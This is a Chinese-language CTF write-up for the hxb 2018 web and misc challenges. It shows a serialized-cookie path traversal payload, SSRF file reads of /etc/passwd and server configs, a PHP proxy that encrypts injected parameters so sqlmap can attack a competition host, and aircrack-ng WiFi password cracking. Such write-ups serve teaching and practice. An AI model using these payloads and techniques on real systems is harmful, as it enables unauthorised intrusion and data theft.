CTF

hxb_2018_webandmisc题解

Posted by HWHXY Blog on November 19, 2018

前言

这次ak了web和misc,记录一下。

web

MyNote

https://xz.aliyun.com/t/3089 一道一模一样的原题,上传之后查看picture,返回包的img标签内存在base64数据,请求头cookie内有请求的文件的php序列化,构造: a:1:{i:0;s:14:"../../flag.php";}
==>
YToxOntpOjA7czoxNDoiLi4vLi4vZmxhZy5waHAiO30
返回flag

Readflag

提示url参数存在ssrf,尝试file协议读取文件,发现能任意文件读取。
/etc/passwd

返回包头能知道是服务器apache+ubuntu,查看敏感文件。
/etc/apache2/sites-available/000-default.conf

得到网站源码路径。
查看源码:
/var/www/html/ssrf/web.php

查看给出了的:
/var/www/html/ssrf/readflag

继续查看realflag.c

查看flag

XmeO

这题是整场比赛体验最差的一个题目,题目的权限配置太高是root,导致大量的搅屎,一直处于下线状态看不到题,最后竟然上线了,去看了一波,然后就被送了flag,如下:
admin admin登陆进去,title处能发布东西,此处有ssti,而且没有waf,选手的payload直接打在admin主页面,show一下就是flag

Code Check

在/news,目录下面发现源码,发现decode函数,很简单加密. 反着写一遍decode,就能注入了,sql语句也也没过滤。自从上次看到有师傅用sqlmap解题之后,一直想用sqlmap做题的愿望终于实现了。 设置个反向代理页面,代理页面如下:

<?php
function encode($data){
	$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
	mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
	$data = $data.'hxb2018';
	$data = mcrypt_generic($td,$data);
	$data = base64_encode(base64_encode($data));
	return $data;
}
$ch = curl_init();
$id=encode($_GET['id']);
curl_setopt($ch, CURLOPT_URL,"http://120.79.246.58:49882/news/list.php?id=".$id);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
$ch_out = curl_exec($ch);
$ch_info = curl_getinfo($ch);
$header = substr($ch_out, 0, $ch_info['header_size']);
$body = substr($ch_out, $ch_info['header_size']);
//http_response_code($ch_info['http_code']);
//header($header);
//echo $header;
echo $body;

sqlmap启动

misc

Hidden Write

用ue打开全局搜索IEND,能够发现有三个IEND,说明其中存在三个图片,手扣出来3个png。

使用zsteg解密第三个图片能得到前半部分flag

然后拼接提示说的图片末端的字符串提交flag发现不对,然后使用 盲水印得到后半段的flag

拼接就是flag

Disk

具体流程参考https://github.com/tothi/ctfs/tree/master/seccon-quals-ctf-2016/randomware
找到关键性的磁盘修复工具testdisk,上网查看用法testdisk_static filename

看到list file,输入p,得到四个asd文件
ue查看只有01,转化得flag

import re
s="0110011001101100011000010110011101111011001101000100010001010011010111110011000101101110010111110100010000110001011100110110101101111101"
bb=re.findall(r'.{8}',s)

str1 = ""
for b in bb:
    str1 += chr(int(b,2))

print(str1)

Flow

流量分析
打开pcap,发现是大量得wifi流量,但是都是加密流量,猜测要找到wifi密码,使用命令:
aircrack-ng ctf.pcap -w 1.txt
爆破密码,得到密码:password1 然后查看wlanssidctf
使用命令:
airdecap-ng -p password1 -e ctf ctf.pcap
解密pcap包,用strings命令找flag

得flag。

后话

没有感觉orz